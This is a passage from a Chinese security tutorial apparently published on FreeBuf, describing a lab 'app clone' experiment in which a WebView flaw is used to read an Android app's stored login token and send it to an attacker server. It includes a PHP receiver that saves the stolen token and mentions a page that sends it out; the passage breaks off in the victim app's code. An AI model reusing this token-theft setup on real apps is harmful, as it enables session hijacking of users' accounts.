原标题:深入挖掘APP克隆实验
*本文原创作者:烟波渺渺正愁予,本文属FreeBuf原创奖励计划,未经许可禁止转载
0×00前言
在上一篇文章《WebView域控不严格读取内部私有文件实验》中,对webview跨域访问进行了简单的实验,后续决定深入挖掘一下APP克隆,之前文章中讲过的这里也将不再赘述。
0×01实验环境
基础环境:win10,Android studio 3,eclipse(androidserver 开发),ubuntu12(hackserver)
模拟器:
要开发APP:AppClone,AttackAPP,StartClone
1、Androidserver
Login.jsp:根据用户名密码判断是哪个用户然后返回一个token给安卓端
Myinfo.jsp:根据token判断是哪个用户,然后返回其个人信息。
Code区域:以上代码比较简单,大家可以自行编写或在网上找一段改改,这里就不占地方了
2、Hackserver
Code区域:
Receve.php主要用来接收APP传过来的token,并保存到newfile.txt中。
$data = $_GET["data"];
$myfile = fopen("/var/www/appclone/newfile.txt","w") or die("Unable to open file!");
fwrite($myfile, $data);
fclose($myfile);
?>
sendToken.htm用来读取shared_prefs下保存的token并发送token到hackserver。
3、AppClone
被克隆的APP,mainactivity用于登录,successactivity显示登录成功后的个人页面。
Code区域:
mainactivity
http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/ll1"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="登录"/>
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_weight="1">
android:layout_width="match_parent"
android:layout_height="match_parent">
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_weight="1"/>
public class MainActivity extends Activity{
private EditText username;
private EditText password;
private Button button;
private Handler handler;
private